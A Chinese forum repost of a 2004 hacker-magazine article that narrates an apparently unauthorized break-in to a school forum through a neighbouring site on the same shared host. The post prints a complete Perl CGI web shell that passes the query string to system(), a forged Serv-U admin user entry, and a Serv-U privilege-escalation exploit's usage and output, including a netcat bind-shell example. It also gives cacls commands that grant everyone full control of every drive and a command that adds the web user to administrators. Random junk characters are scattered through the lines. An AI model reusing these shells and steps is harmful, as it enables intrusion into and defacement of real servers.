找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2102|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
: O; ^0 Z5 a9 Q7 C  g本文作者:angel
" K2 U9 e1 b3 b/ G4 m文章性质:原创$ o. }0 q* r) J" b. C
发布日期:2004-11-09
; \7 I4 f4 I3 h% \4 O+ o注意:! |! m( V5 U, |% p- m
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( ], `& j8 Y+ W( v' ^本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
* H7 U4 M9 c/ ]8 r' G5 t4 R
/ N: i5 |: ^3 k! f8 a, N  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 2 w. d2 {% i$ h0 C: ?

' t! M3 b5 Q, |  B" R& }+ O  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ( P2 J4 N0 f- e( {1 N+ A

! J# [$ O1 ?' [8 H$ i1 ~& u  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 % X4 t: O( ^4 n) y

  \1 t1 R' W; Q& ~  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
7 ^7 A9 P; f5 ^6 {, r: J# \+ Q
: f! [7 h1 s4 x  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 , C" C: N/ A) r6 F: R% Q  x

3 D7 [2 t1 D- e: n6 y+ V5 B  没有目的的跳转目录着…… 1 m  s4 f7 a* C" j. o8 |% n( a
7 w. {% L: e  E  y* T
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 4 n. K1 n% H. z4 R" b

, N. G4 c$ P( C; Y  结束了吗?不,我试着 FTP 一下: $ q. m8 P$ v% }
' U6 a  R% u8 q# k: H( w5 R1 B
Microsoft Windows 2000 [Version 5.00.2195]5 r. _5 i9 \& x6 o- W/ m* ^
(C) 版权所有 1985-2000 Microsoft Corp. , N7 j* w* `. x$ Y

+ J! C- `+ ?# H$ q- C+ ?C:\Documents and Settings\Administrator>ftp www.school.com
' u$ P! q% b" L& u$ n8 j, vConnected to www. school.com. 6 C' {6 y2 \5 `( P
220 Welcome to FTP Server... 6 t1 C  U' G& F6 c. h
User (www.bjtrq.com:(none)):
5 s# }, k. B* H( E7 Q) h331 User name okay, need password. 2 d" J/ u3 M" u5 T# L
Password:
: k1 k" M1 A3 i530 Not logged in.
  q7 @  ^" e6 k$ K9 q& l# cLogin failed.
3 p2 @' p, d9 i4 O$ dftp> bye $ Y6 J/ C6 W' G2 N
221 Goodbye! : c1 L9 N* y( w" v

$ p3 Y& _  t% C; F: {1 w7 V7 l, d2 z' c4 n4 Y6 D* T0 F* E
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; a4 O: f4 a( {4 }( H
2 g# C5 j2 G  A: m) C: l9 C
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
; |5 T* M9 l% S2 C9 q( F' t8 B. U5 b# V
Application Data
* A7 x! F5 K9 {Documents
+ J& ?, Z: z% ^! M- nDRM0 ?- C7 X( d) r) \
Favorites
7 x# l) [  g1 i7 c# j5 ~5 sTemplates
* c8 k+ y* U% M' h8 l9 d+ _「开始」菜单. q2 f$ s9 B) y$ B6 D  P5 }
桌面
, ?+ B  e( m+ e" C2 a # O) D8 f2 Z$ F

& Y' a( y  A& R& ]* v  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
3 D9 u$ v' {; i& ~2 Z$ v
- ^/ Z( k  t# v  B0 U; BActiveState ActivePerl 5.8
& l1 X, w1 @5 I4 R) XAdministrative Tools( ~! |& I! X5 H& g  W4 e5 x
Deerfield.com
+ y/ s8 C' D7 _8 R. @" ]) [% q4 gDTemp
, v, }$ X/ I4 |' x  @' DIPSentry7 p7 W9 \* r5 N" r' G2 d/ V& V6 m
MBM 5  B7 B' X# i$ r
NetMeter7 y1 L. e' B2 {! E9 g: F4 J. G
Network ICE
8 ^; ~! F  L, u- x7 J2 {& ~0 U5 J6 N# Y2 n6 xPersits Software AspEmail9 s+ q: O7 [( F
Persits Software AspJpeg
+ ?4 n% v3 N) F1 m+ cServ-U FTP Server! ~+ Q% w& |" T% i. e
Symantec Client Security
3 j* {: v1 w$ mWindows 优化大师. M6 S  i' g' {! v/ v$ s# L" V( |
WinRAR8 H  c" H, q( ?! S6 X' m1 h
启动3 n+ {! Q$ ^* G8 [6 c6 S5 P
管理工具
6 |+ `9 S5 k0 e  z* h+ e. r% W附件
9 t+ j/ K# X, f. }% K+ e6 y, ^ : {4 t3 g/ J/ I% l4 h

0 O% F; B& ?6 H. @+ N/ X; E  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
. L0 O& M5 ^. ^2 P' y4 b1 e$ q  s
  j5 ?, ^" D/ R/ D& s5 i  e  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: # p( f* [; E8 c$ H& P* a  `. ^/ O

+ G0 h8 r  ?: y! U/ `3 I! ]User281=angel|1|0
% z' n6 ?  t3 H/ i" O& Q6 p
& B+ F8 ]# T2 x* O3 T& ?( G  W7 Z& H
  然后加上
& Q! r6 I7 D/ q. _
5 E' ?' C$ t1 m2 I[USER=angel|1]
# Y3 |& r2 t. n4 V  G# QPassword=ng98F85379EA68DBF97BAADCA99B69B805
: ]1 L1 _; Z4 }& Q0 AHomeDir=D:\websites
* B/ s2 j% I, \% D1 JRelPaths=1; z) a3 t5 y" N' X
TimeOut=600. _4 S2 Y* S9 M: Q% C7 e9 s; L6 s$ c
Maintenance=System( C0 S' n4 U- C, y2 E
Access1=D:\websites|RWAMELCDP
+ ?; [  Q) M6 o5 bSKEYValues=
5 i6 |6 Z. J( ^" q! g! {5 Q) i. J
( X) J# v& l- _% R5 F* ~  M& E+ c+ J+ F: N( M3 I4 q7 L
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
/ R% x& \  {8 o4 W: }: n  F. {* y: {
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 : I; A1 }0 a. o& P9 X
/ k# w' Y3 X4 H" f9 i
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ( \6 Q1 I* E: B0 U6 N- r; v
; \& v6 \6 s; L0 x8 J: I% R# x
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' p( d: d* U2 l. y
1 X/ E% H* E1 K" g3 o. b: i#!/usr/bin/perl
9 E5 X8 [) V1 Tbinmode(STDOUT);) I8 A6 o7 ]- z, s/ W1 A) f7 P
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
6 M: W1 n  }" n8 i# w: ]$_ = $ENV{QUERY_STRING};' _1 t5 r: Q' y7 A* {1 w
s/%20/ /ig;& z0 A% k9 t9 P  {. S
s/%2f/\//ig;
7 I4 C# C, F# E! h$execthis = $_;
" ]0 {5 x& [2 Dsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
7 x! j4 O( f0 q7 N# V8 Eopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
+ m) Y. q) f9 y# m4 Y- bsystem($execthis);
$ A, C* h" T9 j1 `. [. L5 Nsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
3 {4 E9 n  _( B* kclose(STDERR);9 `% n% F) T6 O% L. v! D6 `; o
close(STDOUT);- Z8 l2 @7 s2 t. s3 F( Q" U5 A9 a. K+ g
exit;) i/ ]+ ]8 a) j- m3 _: z
; k6 b8 a2 r: {, j5 N3 S
- P; a7 J/ m7 ]' l* T& C% a
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
0 j! h6 G* |5 F$ m" x2 i6 W: F$ h8 b# x% h# f
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 0 A! `$ M, I9 R% P- D7 v$ H$ S
0 _5 J, F" x) i% J1 O1 T
http://anyhost//cmd.pl?d:\user\bin\su.exe ' u* i1 k0 D0 A$ K& A8 o: X
. C/ ]3 g- g) O5 v
' q) k: N& o2 g" w4 K) }3 V
  返回: / F( _+ ^6 n" C0 K, b7 H7 ~7 w

" d6 L9 B: @" [! C( U9 S) a9 BServ-u >3.x Local Exploit by xiaolu
) W1 J! C2 R8 k# ]8 }/ U) l, }% ]0 w: N# W
USAGE: serv-u.exe "command"
, T, b0 ^0 S$ y* v8 H' M" r
( m5 t( ^8 \  C! m) a. ?Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" & E- x# `( `4 m8 O5 G# l6 _
: `* H) n; E6 G  D1 g8 M
  I$ f' X) U+ n( ~2 x
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: & K* A/ h$ X0 n

1 ^5 F( |4 p# J4 g- _8 B3 Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
( `, R# h& \) Q- _
8 B6 Y! B6 w7 i' E/ a3 l& D% _& f: Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
- S8 i8 w) `+ E
9 t2 H3 M6 Y! m% k$ A  Uhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
* H9 `. _( f" r( X3 {! Y+ G( q6 L* ?  J: x& P
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
3 n* S+ h# X' F* g9 Y 3 W; O0 N+ n2 ?- _! K8 e
: ?  w3 }- n7 \6 S
  返回下面的信息,就表示成功了!!! 9 j; A' {2 N- I$ H7 U5 j1 x  f+ \

" o7 }8 }+ M' kServ-u >3.x Local Exploit by xiaolu
$ A! y5 F, B& s3 e1 I9 r/ {) c# I: D$ g  D$ u
<220 Serv-U FTP Server v5.2 for WinSock ready... * r: ?! O) R% N+ q' R0 r. y& u
* v& M7 @  S4 e0 I7 k: \7 h' N+ C
>USER LocalAdministrator
; F' _* G/ N; T+ N9 S5 l: b& t! }
<331 User name okay, need password. 1 G1 I6 P5 V/ k/ _) I: T
4 O% T! m4 B3 J& [- Z1 M9 f1 ^3 G
******************************************************
6 M$ Y# C1 Q  S6 ~0 z/ R/ l7 \" V% G9 X# M% C9 X, u3 m( n9 R
>PASS #l@$ak#.lk;0@P
% l& j% V0 |' Y  w
% n9 @: ~9 d" G<230 User logged in, proceed.   F2 T* D. `, n1 _' h1 w2 n+ i
- g- w0 \9 P5 n
******************************************************
8 C7 o4 k6 h/ r' p$ E+ @
: O; `2 S& V' I. e>SITE MAINTENANCE : t0 [3 R3 k- c* j+ U. z

3 i9 P# r# M- @9 D******************************************************
( j% z) o  x( K
$ W3 s  Y; W5 D1 {0 \7 W: F[+] Creating New Domain... & J$ h- C, _4 P% F8 P" |9 G

( P$ H5 e& k+ ^% W4 v! a; T<200-DomainID=2
# a% E, y# a# O4 [) e6 |: H) s  p
) C4 T" R  V& a& {0 R<220 Domain settings saved - M: r) l% E/ I# j. c! Q

  V5 |( t3 \+ f" t******************************************************
5 N; u! m: G$ y( {  j
% t, _" L, l" z: i[+] Domain xl:2 Created
+ d$ h: B% z* |3 K
( N) C5 e/ T" s& b) f9 J2 M# N[+] Creating Evil User
# ]1 q. x0 d5 v3 t, q4 r, a' n, A7 j# L9 J+ Z% L% y) ]
<200-User=xl
& F( T# g# o" _/ _7 ]& u; l2 V/ G5 I) _5 V7 [
200 User settings saved
3 q1 y! c( H* q3 c! n! A# G- V3 {$ Y+ Y0 p  u3 }- e
******************************************************
* d6 ?! d2 V/ S7 I& z
4 q6 J1 S" I& H$ l  {+ Q" ^: u9 ^/ G2 p' n[+] Now Exploiting... 5 f; ^3 S( ^" C4 [- X  g8 ]# I- Q
9 w( p, I: o% O
>USER xl $ [& g. m7 w  H$ c
0 T0 z' R5 V" Y. S# J/ s
<331 User name okay, need password.
- X0 m" L. D- s- ~3 ^8 W% T/ y# S% z# G* ]; W
****************************************************** $ e7 M% r8 D3 b6 X

8 F; r0 ~5 ?+ ~; s  Y>PASS 111111
/ G" a( y2 _2 U% Y# w
' N0 i' `; B, b5 P( @" X# h<230 User logged in, proceed. , @; _; _  T* d4 B! n1 \8 b
# a1 N! \/ e! Y+ N! |+ }2 n0 P
******************************************************
# n/ w+ f9 F; c1 {1 v0 G; _
+ W9 Y! N' H2 _[+] Now Executing: cacls.exe c: /E /T /G everyone:F
9 R% t9 G! I  m$ t5 N( G4 m6 o+ t$ B2 U5 i
<220 Domain deleted
. U; a; S4 ^' ?+ Q8 @' g6 }" c7 ~* [+ h4 k9 B* r, y/ e# u  r
******************************************************
5 z) K. X4 U3 x# S. {
0 V6 s6 E5 g2 R
0 k# x) y1 I2 q5 z1 i7 P  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
" \  M0 c: |# Z; g9 d" w5 l( U# R4 U( q/ F4 T
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" + G9 L/ P- g, z8 X! L/ P

  e3 s/ x* @/ b6 M" g8 u4 `
. C  E. B6 S, l- j- A, w+ _# n  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
$ f- m/ r9 _+ R2 Z; p( p& o
: R( l9 F  l* X/ P( u) i  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
% d9 n% @- [3 M
" B# S6 i9 s" w- M7 J  " j, B$ y; O" u: }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表